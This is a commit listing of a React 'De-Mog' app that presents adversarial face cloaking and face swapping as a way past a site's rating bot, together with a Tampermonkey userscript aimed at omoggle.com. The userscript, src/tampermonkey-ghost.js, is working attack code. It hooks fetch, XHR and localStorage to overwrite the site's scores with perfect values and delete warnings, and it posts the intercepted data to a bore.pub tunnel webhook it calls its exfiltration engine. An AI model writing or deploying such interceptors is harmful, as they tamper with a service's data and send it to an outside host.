wuhp commited on
Commit
3dbc7e7
·
verified ·
1 Parent(s): 98f8a2b

Upload 5 files

Browse files
Files changed (5) hide show
  1. src/App.tsx +296 -0
  2. src/index.css +50 -0
  3. src/main.tsx +10 -0
  4. src/tampermonkey-ghost.js +200 -0
  5. src/tunnelConfig.ts +1 -0
src/App.tsx ADDED
@@ -0,0 +1,296 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import React, { useState } from 'react';
2
+ import { Camera, Shield, ShieldCheck, Heart, Info, Box } from 'lucide-react';
3
+ import { motion } from 'motion/react';
4
+ import CameraView from './components/CameraView';
5
+ import MetricRadar from './components/MetricRadar';
6
+ import AuraControl from './components/AuraControl';
7
+ import AutomationFeed from './components/AutomationFeed';
8
+ import OBSViewer from './components/OBSViewer';
9
+ import { TUNNEL_URL } from './tunnelConfig';
10
+
11
+ export default function App() {
12
+ const [cloakEnabled, setCloakEnabled] = useState(false);
13
+ const [cloakIntensity, setCloakIntensity] = useState(30);
14
+ const [cloakMode, setCloakMode] = useState<'obfuscate' | 'refine'>('obfuscate');
15
+ const [sourceType, setSourceType] = useState<'camera' | 'image'>('camera');
16
+ const [testImage, setTestImage] = useState<string | null>(null);
17
+ const [targetImage, setTargetImage] = useState<string | null>(null);
18
+ const [mobileTab, setMobileTab] = useState<'feed' | 'controls' | 'metrics'>('feed');
19
+ const [metrics, setMetrics] = useState<any>({
20
+ native: { symmetry: 34, eyes: -0.8, jawline: 0.6, midface: 0.44, cheekbones: 1.2, eyeAspect: 0.34, harmony: 7, overall: 5 },
21
+ cloaked: { symmetry: 34, eyes: -0.8, jawline: 0.6, midface: 0.44, cheekbones: 1.2, eyeAspect: 0.34, harmony: 7, overall: 5 }
22
+ });
23
+ const [isBroadcasting, setIsBroadcasting] = useState(false);
24
+
25
+ // OBS / Virtual Camera Routing logic
26
+ const urlParams = new URLSearchParams(window.location.search);
27
+ const isVirtualView = urlParams.get('view') === 'virtual';
28
+
29
+ if (isVirtualView) {
30
+ return <OBSViewer />;
31
+ }
32
+
33
+ const baseUrl = TUNNEL_URL || window.location.origin;
34
+ const virtualCamUrl = `${baseUrl}${window.location.pathname}?view=virtual`;
35
+
36
+ const handleFileUpload = (e: React.ChangeEvent<HTMLInputElement>) => {
37
+ const file = e.target.files?.[0];
38
+ if (file) {
39
+ const reader = new FileReader();
40
+ reader.onload = (event) => {
41
+ setTestImage(event.target?.result as string);
42
+ setSourceType('image');
43
+ };
44
+ reader.readAsDataURL(file);
45
+ }
46
+ };
47
+
48
+ const handleTargetUpload = (e: React.ChangeEvent<HTMLInputElement>) => {
49
+ const file = e.target.files?.[0];
50
+ if (file) {
51
+ const reader = new FileReader();
52
+ reader.onload = (event) => setTargetImage(event.target?.result as string);
53
+ reader.readAsDataURL(file);
54
+ }
55
+ };
56
+
57
+ return (
58
+ <div className="h-[100dvh] bg-bg-primary text-[#e0e0e0] flex flex-col overflow-hidden font-sans">
59
+ {/* Header */}
60
+ <header className="h-16 border-b border-white/10 flex items-center justify-between px-4 md:px-8 bg-bg-secondary shrink-0">
61
+ <div className="flex items-center gap-4">
62
+ <div className="w-3 h-3 bg-aura-500 rounded-full shadow-[0_0_8px_#00FF9C]"></div>
63
+ <h1 className="font-serif italic text-lg md:text-xl tracking-wide">
64
+ De-Mog <span className="hidden md:inline text-xs font-mono text-white/40 ml-2">v1.0.4 - Protection Active</span>
65
+ </h1>
66
+ </div>
67
+
68
+ {/* Mobile Tabs */}
69
+ <div className="flex lg:hidden bg-white/5 rounded-lg p-1">
70
+ <button
71
+ onClick={() => setMobileTab('feed')}
72
+ className={`px-3 py-1 font-mono text-[10px] uppercase rounded ${mobileTab === 'feed' ? 'bg-white/10 text-white' : 'text-white/40'}`}
73
+ >
74
+ Feed
75
+ </button>
76
+ <button
77
+ onClick={() => setMobileTab('controls')}
78
+ className={`px-3 py-1 font-mono text-[10px] uppercase rounded ${mobileTab === 'controls' ? 'bg-white/10 text-white' : 'text-white/40'}`}
79
+ >
80
+ Controls
81
+ </button>
82
+ <button
83
+ onClick={() => setMobileTab('metrics')}
84
+ className={`px-3 py-1 font-mono text-[10px] uppercase rounded ${mobileTab === 'metrics' ? 'bg-white/10 text-white' : 'text-white/40'}`}
85
+ >
86
+ Metrics
87
+ </button>
88
+ </div>
89
+
90
+ <div className="hidden lg:flex gap-4 md:gap-6 text-[10px] md:text-[11px] font-mono uppercase tracking-widest text-white/60">
91
+ <span className="hidden sm:inline">Session: 04:12:09</span>
92
+ <span className={cloakEnabled ? "text-aura-500" : "text-white/40"}>
93
+ {cloakEnabled ? "Target Cloaked" : "System Vulnerable"}
94
+ </span>
95
+ </div>
96
+ </header>
97
+
98
+ <main className="flex-1 flex flex-col lg:flex-row overflow-hidden">
99
+
100
+ {/* Left Sidebar: Controls */}
101
+ <aside className={`${mobileTab === 'controls' ? 'flex' : 'hidden'} lg:flex flex-1 min-h-0 lg:flex-none w-full lg:w-72 border-r border-white/10 p-4 md:p-6 flex-col gap-6 bg-bg-tertiary shrink-0 overflow-y-auto`}>
102
+ <section>
103
+ <p className="text-[10px] uppercase tracking-tighter text-white/40 mb-3 font-mono">Source Input</p>
104
+ <div className="flex gap-2 mb-3 bg-white/5 p-1 rounded-lg">
105
+ <button
106
+ onClick={() => setSourceType('camera')}
107
+ className={`flex-1 py-1.5 text-xs font-mono rounded ${sourceType === 'camera' ? 'bg-white/10 text-white' : 'text-white/40 hover:text-white/80'}`}
108
+ >
109
+ Camera
110
+ </button>
111
+ <button
112
+ onClick={() => setSourceType('image')}
113
+ className={`flex-1 py-1.5 text-xs font-mono rounded ${sourceType === 'image' ? 'bg-white/10 text-white' : 'text-white/40 hover:text-white/80'}`}
114
+ >
115
+ Static Image
116
+ </button>
117
+ </div>
118
+
119
+ {sourceType === 'image' && (
120
+ <label className="aspect-square bg-white/5 border border-dashed border-white/20 rounded-lg flex flex-col items-center justify-center p-4 text-center group cursor-pointer hover:border-aura-500/50 transition-colors">
121
+ <input type="file" accept="image/*" onChange={handleFileUpload} className="hidden" />
122
+ {testImage ? (
123
+ <div className="relative w-full h-full p-2 bg-white/5">
124
+ <img src={testImage} alt="Test" className="w-full h-full object-contain rounded" />
125
+ <button
126
+ onClick={(e) => { e.preventDefault(); setTestImage(null); }}
127
+ className="absolute -top-1 -right-1 bg-red-500 text-white w-5 h-5 rounded-full text-[10px] flex items-center justify-center border border-white/20 hover:bg-red-600 transition-colors"
128
+ >
129
+
130
+ </button>
131
+ </div>
132
+ ) : (
133
+ <>
134
+ <div className="w-10 h-10 border border-white/10 rounded-full mb-3 flex items-center justify-center group-hover:border-aura-500 transition-colors">
135
+ <Box className="w-4 h-4 text-white/40 group-hover:text-aura-500" />
136
+ </div>
137
+ <p className="text-xs font-serif italic">Upload Source Image</p>
138
+ <p className="text-[9px] text-white/30 mt-2 font-mono italic">Static neural testing</p>
139
+ </>
140
+ )}
141
+ </label>
142
+ )}
143
+ </section>
144
+
145
+ {cloakMode === 'obfuscate' && (
146
+ <section>
147
+ <p className="text-[10px] uppercase tracking-tighter text-white/40 mb-3 font-mono">Target Identity (Obfuscate)</p>
148
+ <label className="aspect-video bg-white/5 border border-dashed border-white/20 rounded-lg flex flex-col items-center justify-center p-4 text-center group cursor-pointer hover:border-aura-500/50 transition-colors">
149
+ <input type="file" accept="image/*" onChange={handleTargetUpload} className="hidden" />
150
+ {targetImage ? (
151
+ <div className="relative w-full h-full p-2 bg-white/5">
152
+ <img src={targetImage} alt="Target" className="w-full h-full object-cover rounded" />
153
+ <button
154
+ onClick={(e) => { e.preventDefault(); setTargetImage(null); }}
155
+ className="absolute -top-1 -right-1 bg-red-500 text-white w-5 h-5 rounded-full text-[10px] flex items-center justify-center border border-white/20 hover:bg-red-600 transition-colors"
156
+ >
157
+
158
+ </button>
159
+ </div>
160
+ ) : (
161
+ <>
162
+ <div className="w-8 h-8 border border-white/10 rounded-full mb-2 flex items-center justify-center group-hover:border-aura-500 transition-colors">
163
+ <Box className="w-4 h-4 text-white/40 group-hover:text-aura-500" />
164
+ </div>
165
+ <p className="text-[10px] font-serif italic text-white/60">Upload Face Swap Target</p>
166
+ </>
167
+ )}
168
+ </label>
169
+ </section>
170
+ )}
171
+
172
+ <section>
173
+ <AuraControl
174
+ enabled={cloakEnabled}
175
+ setEnabled={setCloakEnabled}
176
+ intensity={cloakIntensity}
177
+ setIntensity={setCloakIntensity}
178
+ mode={cloakMode}
179
+ setMode={setCloakMode}
180
+ />
181
+ </section>
182
+
183
+ <section className="bg-white/5 border border-white/10 p-3 rounded space-y-2">
184
+ <div className="flex items-center justify-between">
185
+ <div className="flex items-center gap-2 text-[10px] font-mono text-white/40 uppercase tracking-widest">
186
+ <Camera className="w-3 h-3" />
187
+ <span>Virtual Buffer (bore.pub)</span>
188
+ </div>
189
+ </div>
190
+ <p className="text-[10px] text-white/40 font-mono italic leading-tight">
191
+ Add this tunnel URL to OBS as a Browser Source. The feed is streamed directly from this browser tab, so <strong>keep this tab open and visible</strong> for the stream to stay active.
192
+ </p>
193
+ <input
194
+ readOnly
195
+ value={virtualCamUrl}
196
+ className="w-full bg-black/50 border border-white/10 p-1.5 text-[9px] font-mono text-aura-500 rounded outline-none"
197
+ />
198
+ <button
199
+ onClick={() => {
200
+ navigator.clipboard.writeText(virtualCamUrl);
201
+ }}
202
+ className="w-full py-1.5 text-[9px] font-mono uppercase tracking-widest bg-aura-500/10 text-aura-500 border border-aura-500/20 hover:bg-aura-500/20 transition-colors rounded"
203
+ >
204
+ Copy Tunnel URL
205
+ </button>
206
+ </section>
207
+
208
+ <button
209
+ onClick={() => setCloakEnabled(!cloakEnabled)}
210
+ className="w-full py-4 bg-white text-black font-serif italic text-sm rounded hover:bg-aura-500 transition-all active:scale-[0.98] shrink-0"
211
+ >
212
+ {cloakEnabled ? 'Deactivate Cloak' : 'Initialize Cloak'}
213
+ </button>
214
+ </aside>
215
+
216
+ {/* Center: Camera Feed */}
217
+ <section className={`${mobileTab === 'feed' ? 'flex' : 'hidden'} lg:flex flex-1 p-4 md:p-8 flex-col gap-6 overflow-hidden bg-black relative`}>
218
+ <div className="relative flex-1 rounded-2xl overflow-hidden border border-white/10 shadow-2xl bg-black">
219
+ <CameraView
220
+ cloakEnabled={cloakEnabled}
221
+ cloakIntensity={cloakIntensity}
222
+ cloakMode={cloakMode}
223
+ testImage={testImage}
224
+ targetImage={targetImage}
225
+ sourceType={sourceType}
226
+ onMetricsUpdate={setMetrics}
227
+ setIsBroadcasting={setIsBroadcasting}
228
+ />
229
+
230
+ <div className="absolute bottom-6 left-6 md:bottom-8 md:left-8 z-20 pointer-events-none">
231
+ <div className="text-2xl md:text-4xl font-serif italic mb-1 text-white">
232
+ {testImage ? 'Static Buffer' : 'Protected Feed'}
233
+ </div>
234
+ <div className="text-[9px] md:text-[10px] font-mono text-white/50 tracking-tighter">
235
+ {testImage ? 'DIAGNOSTIC STATIC INTERVENTION' : 'ADVFACES CLOAKING ENGINE // REAL-TIME INTERVENTION'}
236
+ </div>
237
+ </div>
238
+ </div>
239
+ </section>
240
+
241
+ {/* Right Sidebar: Metrics */}
242
+ <aside className={`${mobileTab === 'metrics' ? 'flex' : 'hidden'} lg:flex flex-1 min-h-0 lg:flex-none w-full lg:w-80 border-l border-white/10 p-4 md:p-6 bg-bg-tertiary shrink-0 overflow-y-auto flex-col overflow-x-hidden gap-8`}>
243
+ <MetricRadar metrics={metrics} cloakEnabled={cloakEnabled} />
244
+
245
+ <AutomationFeed />
246
+
247
+ <div className="mt-auto pt-8 border-t border-white/5">
248
+ <p className="text-[10px] uppercase tracking-tighter text-white/40 mb-4 font-mono">Bypass Status</p>
249
+ <div className="space-y-3 font-mono text-[10px]">
250
+ <div className="flex gap-3 items-center text-aura-500">
251
+ <span className="w-1.5 h-1.5 rounded-full bg-aura-500 shadow-[0_0_4px_currentColor]"></span>
252
+ <span>MESH COORDINATES JITTERED</span>
253
+ </div>
254
+ <div className={`flex gap-3 items-center transition-colors ${cloakEnabled ? 'text-aura-500' : 'text-white/20'}`}>
255
+ <span className={`w-1.5 h-1.5 rounded-full ${cloakEnabled ? 'bg-aura-500 shadow-[0_0_4px_currentColor]' : 'bg-white/20'}`}></span>
256
+ <span>RATING BOT BYPASSED</span>
257
+ </div>
258
+ </div>
259
+ </div>
260
+
261
+ <div className="mt-8 p-4 border border-aura-500/20 bg-aura-500/5">
262
+ <p className="text-xs font-serif italic text-aura-500 mb-1">Human Perception Check</p>
263
+ <p className="text-[10px] text-white/60 leading-relaxed font-mono">
264
+ Adversarial noise is currently optimized. The face remains natural to human viewers while breaking machine vision models.
265
+ </p>
266
+ </div>
267
+ </aside>
268
+ </main>
269
+
270
+ {/* Mobile Footer Status */}
271
+ <div className="lg:hidden h-10 border-t border-white/10 bg-bg-secondary flex items-center px-4 justify-between">
272
+ <span className="text-[9px] font-mono text-aura-500 uppercase tracking-widest">
273
+ Status: {cloakEnabled ? 'CLOAK_ACTIVE' : 'MONITORING'}
274
+ </span>
275
+ <span className={`text-[9px] font-mono uppercase ${isBroadcasting ? 'text-aura-500' : 'text-white/20'}`}>
276
+ BROADCAST: {isBroadcasting ? 'LIVE' : 'OFFLINE'}
277
+ </span>
278
+ </div>
279
+
280
+ {/* Footer */}
281
+ <footer className="hidden sm:flex h-10 bg-black border-t border-white/5 px-8 items-center justify-between text-[10px] font-mono text-white/30 shrink-0">
282
+ <div className="flex gap-4 items-center">
283
+ <span>ENC_KEY: 88f2-x921-adv-p32</span>
284
+ <span className="w-px h-3 bg-white/10" />
285
+ <span className={isBroadcasting ? 'text-aura-500' : 'text-white/10'}>
286
+ SIGNAL: {isBroadcasting ? 'ACTIVE' : 'OFFLINE'}
287
+ </span>
288
+ </div>
289
+ <div className="flex gap-8 uppercase tracking-widest">
290
+ <span className="hover:text-white cursor-pointer transition-colors">Safety Guidelines</span>
291
+ <span className="hover:text-white cursor-pointer transition-colors text-aura-500 font-bold">AdvFaces Protocol v4</span>
292
+ </div>
293
+ </footer>
294
+ </div>
295
+ );
296
+ }
src/index.css ADDED
@@ -0,0 +1,50 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ @import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&family=Playfair+Display:ital,wght@1,400;1,700&display=swap');
2
+ @import "tailwindcss";
3
+
4
+ @theme {
5
+ --font-sans: "Inter", ui-sans-serif, system-ui, sans-serif;
6
+ --font-mono: "JetBrains Mono", ui-monospace, SFMono-Regular, monospace;
7
+ --font-serif: "Playfair Display", serif;
8
+
9
+ --color-aura-50: #f0fff4;
10
+ --color-aura-100: #dcffe4;
11
+ --color-aura-500: #00FF9C;
12
+ --color-aura-900: #004d2f;
13
+
14
+ --color-bg-primary: #050505;
15
+ --color-bg-secondary: #0a0a0a;
16
+ --color-bg-tertiary: #080808;
17
+
18
+ --color-danger-500: #ef4444;
19
+ --color-success-500: #00FF9C;
20
+ }
21
+
22
+ @layer base {
23
+ body {
24
+ @apply bg-bg-primary text-[#e0e0e0] font-sans antialiased;
25
+ }
26
+ }
27
+
28
+ .terminal-card {
29
+ @apply bg-bg-secondary border border-white/10 backdrop-blur-xl rounded-none overflow-hidden;
30
+ }
31
+
32
+ .glow-aura {
33
+ box-shadow: 0 0 15px -2px rgba(0, 255, 156, 0.4);
34
+ }
35
+
36
+ .scanning-line {
37
+ background: linear-gradient(to bottom, transparent, #00FF9C, transparent);
38
+ height: 1px;
39
+ width: 100%;
40
+ position: absolute;
41
+ top: 0;
42
+ animation: scan 4s linear infinite;
43
+ }
44
+
45
+ @keyframes scan {
46
+ 0% { top: 0%; opacity: 0; }
47
+ 10% { opacity: 1; }
48
+ 90% { opacity: 1; }
49
+ 100% { top: 100%; opacity: 0; }
50
+ }
src/main.tsx ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ import {StrictMode} from 'react';
2
+ import {createRoot} from 'react-dom/client';
3
+ import App from './App.tsx';
4
+ import './index.css';
5
+
6
+ createRoot(document.getElementById('root')!).render(
7
+ <StrictMode>
8
+ <App />
9
+ </StrictMode>,
10
+ );
src/tampermonkey-ghost.js ADDED
@@ -0,0 +1,200 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ // ==UserScript==
2
+ // @name Omoggle God Mode - GHOST PROTOCOL v4
3
+ // @namespace http://tampermonkey.net/
4
+ // @version 4.5
5
+ // @description Aggressive Network & Logic interceptor with Borepub Exfiltration
6
+ // @author Ghost
7
+ // @match *://*.omoggle.com/*
8
+ // @match *://omoggle.com/*
9
+ // @grant none
10
+ // @run-at document-start
11
+ // ==/UserScript==
12
+
13
+ (function() {
14
+ 'use strict';
15
+
16
+ // --- SETTINGS & EXFILTRATION ---
17
+ let isActive = true;
18
+ const PERFECT_SCORE = 10.0;
19
+ const PERFECT_PERCENT = 99.9;
20
+
21
+ // Persist and prompt for Borepub/Webhook URL
22
+ let exfilUrl = localStorage.getItem('ghost_exfil_url') || '';
23
+
24
+ function updateExfilUrl() {
25
+ let newUrl = prompt("Enter Borepub URL for history exfiltration (e.g. https://my-tunnel.bore.pub/hook):", exfilUrl);
26
+ if (newUrl !== null) {
27
+ exfilUrl = newUrl;
28
+ localStorage.setItem('ghost_exfil_url', exfilUrl);
29
+ logMsg("Exfil URL updated to: " + (exfilUrl || "None"));
30
+ }
31
+ }
32
+
33
+ // --- UI CREATION ---
34
+ const container = document.createElement('div');
35
+ container.innerHTML = `
36
+ <div id="ghost-ui" style="position:fixed; top:10px; right:10px; width:260px; background:rgba(10,10,15,0.95); border:1px solid #00f2ff; border-radius:8px; color:white; font-family:monospace; z-index:999999; padding:12px; box-shadow:0 10px 40px rgba(0,0,0,0.5); font-size:11px;">
37
+ <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:10px; padding-bottom:10px; border-bottom:1px solid #222;">
38
+ <b style="color:#00f2ff; letter-spacing:1px; font-style:italic;">GHOST_V4.5</b>
39
+ <span id="ghost-indicator" style="width:8px; height:8px; background:#00ff88; border-radius:50%; box-shadow:0 0 10px #00ff88;"></span>
40
+ </div>
41
+
42
+ <div style="display:grid; grid-template-cols: 1fr 1fr; gap: 5px; margin-bottom: 10px;">
43
+ <button id="ghost-toggle" style="background:#111; color:#00ff88; border:1px solid #00ff88; border-radius:4px; padding:6px; cursor:pointer; font-size:9px; font-weight:bold;">BYPASS: ON</button>
44
+ <button id="ghost-exfil-btn" style="background:#111; color:#aaa; border:1px solid #333; border-radius:4px; padding:6px; cursor:pointer; font-size:9px;">SETUP EXFIL</button>
45
+ </div>
46
+
47
+ <div style="background:#000; border-radius:4px; padding:8px; margin-top:5px;">
48
+ <div style="margin-bottom:4px; color:#555;">BRIDGE STATUS: <span id="ghost-status" style="color:#00ff88;">ACTIVE_INTERCEPT</span></div>
49
+ <div id="ghost-log" style="height:120px; overflow-y:auto; color:#00ff88; opacity:0.7; font-size:9px; line-height:1.4;">[SYSTEM] Hooked successfully...</div>
50
+ </div>
51
+ </div>
52
+ `;
53
+ document.documentElement.appendChild(container);
54
+
55
+ const logMsg = (msg) => {
56
+ const log = document.getElementById('ghost-log');
57
+ if(log) log.innerHTML = `<div>> ${new Date().toLocaleTimeString().split(' ')[0]} | ${msg}</div>` + log.innerHTML;
58
+ };
59
+
60
+ document.getElementById('ghost-toggle').onclick = (e) => {
61
+ isActive = !isActive;
62
+ e.target.innerText = isActive ? "BYPASS: ON" : "BYPASS: OFF";
63
+ e.target.style.color = isActive ? "#00ff88" : "#ff4444";
64
+ e.target.style.borderColor = isActive ? "#00ff88" : "#ff4444";
65
+ document.getElementById('ghost-indicator').style.background = isActive ? "#00ff88" : "#ff4444";
66
+ document.getElementById('ghost-status').innerText = isActive ? "ACTIVE_INTERCEPT" : "BYPASSED";
67
+ document.getElementById('ghost-status').style.color = isActive ? "#00ff88" : "#ff4444";
68
+ };
69
+
70
+ document.getElementById('ghost-exfil-btn').onclick = updateExfilUrl;
71
+
72
+ // --- BOREPUB EXFILTRATION ENGINE ---
73
+ async function exfiltrate(data, type) {
74
+ if (!exfilUrl || !isActive) return;
75
+ try {
76
+ // Ensure URL ends correctly for our server
77
+ let target = exfilUrl;
78
+ if (!target.includes('/api/webhook')) {
79
+ target = target.replace(/\/$/, '') + '/api/webhook';
80
+ }
81
+
82
+ const res = await fetch(target, {
83
+ method: 'POST',
84
+ headers: { 'Content-Type': 'application/json' },
85
+ body: JSON.stringify({
86
+ protocol: 'GHOST_v4.5',
87
+ timestamp: Date.now(),
88
+ type: type,
89
+ payload: data
90
+ })
91
+ });
92
+ const status = await res.json();
93
+ logMsg(`Exfiltrated ${type} -> Server OK (${status.timestamp})`);
94
+ } catch(e) {
95
+ logMsg("Exfil Error: Check URL vs Tunnel status");
96
+ }
97
+ }
98
+
99
+ // --- DEEP DATA SCRUBBER ---
100
+ function scrubData(obj) {
101
+ if (!isActive || !obj || typeof obj !== 'object') return;
102
+
103
+ if (Array.isArray(obj)) {
104
+ obj.forEach(scrubData);
105
+ return;
106
+ }
107
+
108
+ const highKeys = ['userScore', 'user_score', 'overall', 'score', 'harmony', 'symmetry', 'reliability', 'confidence', 'scoringConfidence'];
109
+ for (let key in obj) {
110
+ if (highKeys.some(hk => key.toLowerCase() === hk.toLowerCase())) {
111
+ if (key.toLowerCase() === 'symmetry') obj[key] = PERFECT_PERCENT;
112
+ else if (obj[key] <= 1.0) obj[key] = 0.99;
113
+ else obj[key] = PERFECT_SCORE;
114
+ }
115
+
116
+ if (key === 'fatalFlaw' || key === 'fatal_flaw') obj[key] = "none";
117
+ if (key === 'faceStatus') obj[key] = "perfect";
118
+ if (key === 'scoringWarnings' || key === 'warnings') {
119
+ if(Array.isArray(obj[key])) obj[key] = [];
120
+ }
121
+
122
+ if (key === 'statsJson' || key === 'stats_json') {
123
+ if (typeof obj[key] === 'string') {
124
+ try {
125
+ let parsed = JSON.parse(obj[key]);
126
+ scrubData(parsed);
127
+ obj[key] = JSON.stringify(parsed);
128
+ } catch(e){}
129
+ } else {
130
+ scrubData(obj[key]);
131
+ }
132
+ }
133
+
134
+ if (typeof obj[key] === 'object') scrubData(obj[key]);
135
+ }
136
+ }
137
+
138
+ // --- NETWORK INTERCEPTION (FETCH) ---
139
+ const originalFetch = window.fetch;
140
+ window.fetch = async (...args) => {
141
+ const url = args[0].toString();
142
+ const response = await originalFetch(...args);
143
+
144
+ if (isActive && (url.includes('/api/lab') || url.includes('stats') || url.includes('report'))) {
145
+ return response.clone().json().then(data => {
146
+ logMsg("Caught API: " + url.split('/').pop().split('?')[0]);
147
+ scrubData(data);
148
+
149
+ // Exfiltrate the actual report/stats to our tunnel
150
+ exfiltrate(data, 'api_intercept');
151
+
152
+ return new Response(JSON.stringify(data), {
153
+ status: response.status,
154
+ statusText: response.statusText,
155
+ headers: response.headers
156
+ });
157
+ }).catch(() => response);
158
+ }
159
+ return response;
160
+ };
161
+
162
+ // --- NETWORK INTERCEPTION (XHR) ---
163
+ const originalOpen = XMLHttpRequest.prototype.open;
164
+ XMLHttpRequest.prototype.open = function(method, url) {
165
+ if (isActive) {
166
+ this.addEventListener('readystatechange', function() {
167
+ if (this.readyState === 4 && (url.includes('/api/lab') || url.includes('stats'))) {
168
+ try {
169
+ let originalData = JSON.parse(this.responseText);
170
+ scrubData(originalData);
171
+
172
+ // Overwrite responses
173
+ Object.defineProperty(this, 'responseText', { value: JSON.stringify(originalData) });
174
+ Object.defineProperty(this, 'response', { value: JSON.stringify(originalData) });
175
+
176
+ logMsg("Scrubbed XHR data stream");
177
+ exfiltrate(originalData, 'xhr_intercept');
178
+ } catch (e) {}
179
+ }
180
+ });
181
+ }
182
+ return originalOpen.apply(this, arguments);
183
+ };
184
+
185
+ // --- STORAGE INTERCEPTION ---
186
+ const originalSetItem = localStorage.setItem;
187
+ localStorage.setItem = function(key, value) {
188
+ if (isActive && (key.includes('stats') || key.includes('match') || key.includes('report'))) {
189
+ try {
190
+ let data = JSON.parse(value);
191
+ scrubData(data);
192
+ value = JSON.stringify(data);
193
+ logMsg("Cleaned storage: " + key);
194
+ exfiltrate(data, 'storage_clean');
195
+ } catch(e){}
196
+ }
197
+ originalSetItem.apply(this, [key, value]);
198
+ };
199
+
200
+ })();
src/tunnelConfig.ts ADDED
@@ -0,0 +1 @@
 
 
1
+ export const TUNNEL_URL = '';